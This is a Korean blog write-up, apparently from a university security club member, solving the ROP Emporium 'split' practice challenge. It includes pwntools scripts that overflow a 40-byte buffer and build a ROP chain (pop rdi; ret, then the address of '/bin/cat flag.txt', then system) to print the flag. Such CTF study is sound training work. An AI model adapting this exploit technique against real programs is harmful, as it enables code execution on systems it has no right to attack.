Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
Tags
- c++
- siss
- 웹페이지 만들기
- lob
- 풀이
- 숙명여자대학교 정보보안 동아리
- BOJ Python
- 기계학습
- WarGame
- The Loard of BOF
- SWEA
- PHP 웹페이지 만들기
- HTML
- 숙명여자대학교 정보보안동아리
- Sookmyung Information Security Study
- 파이썬
- XSS Game
- 자료구조 복습
- 드림핵
- Python
- hackerrank
- 생활코딩
- Javascript
- 머신러닝
- C언어
- BOJ
- 백준
- c
- hackctf
- CSS
Archives
- Today
- Total
혜랑's STORY
[ROP Emporium] split 문제 풀이 본문
1. checksec
64 bit 파일이고, NX가 걸려있다.
2. IDA
main() 함수
pwn() 함수
IDA에서 함수 목록을 확인해 본 결과 사용되지 않은 함수인 usefulFunction() 함수가 존재한다는 것을 알 수 있었다.
따라서 코드의 흐름을 usefulFunction()이 실행될 수 있도록 변경하면 목록을 확인할 수 있을 것 같다.
code
from pwn import *
context.log_level = 'debug'
r = process('./split')
e = ELF('./split')
usefulFunction = e.symbols['usefulFunction']
print('usefulFunction : ' + str(hex(usefulFunction)))
payload = "A"*40
payload += p64(usefulFunction)
r.send(payload)
r.interactive()
역시 해당 목록을 출력하고 있는 것을 볼 수 있다. 그럼 system()의 인자로 "/bin/cat flag.txt"를 넘겨준다면 flag.txt를 출력할 수 있을 것 같다.
3. Exploit
payload = ret까지의 거리 + pop rdi; ret; + "bin/cat flag.txt" + system의 주소
GDB
[Break Point]
- pwnme+0 : pwnme() 함수의 시작 부분
- pwnme+72 : read() 함수의 호출
즉, 40개 이상의 문자를 입력하면 RET이 변조된다.
"/bin/cat flag.txt"
데이터 영역을 확인해 본 결과 /bin/cat flag.txt가 있는 것을 확인할 수 있었다.
pop rdi; ret;
Exploit Code
from pwn import *
#context.log_level = 'debug'
r = process('./split')
e = ELF('./split')
pop_rdi_ret = 0x4007c3
cat_flag = 0x601060
read_got = e.got['read']
read_plt = e.plt['read']
print('read@got : ' + str(hex(read_got)))
print('read@plt : ' + str(hex(read_plt)))
usefulFunction = e.symbols['usefulFunction']
system = e.symbols['system']
print('usefulFunction : ' + str(hex(usefulFunction)))
print('system : ' + str(hex(system)))
payload = "A"*40
payload += p64(pop_rdi_ret)
payload += p64(cat_flag)
payload += p64(system)
r.send(payload)
r.interactive()
결과
'2021 SISS 21기 활동 > 1학기 시스템' 카테고리의 다른 글
[HackCTF] rop 문제 풀이 (0) | 2021.06.16 |
---|---|
깃 허브에 올린 과제 (0) | 2021.06.16 |
[Hack CTF] RTL_World (0) | 2021.05.14 |
[HackCTF] x64 Buffer Overflow (0) | 2021.04.09 |
[HackCTF] Basic_BOF #1 (0) | 2021.04.09 |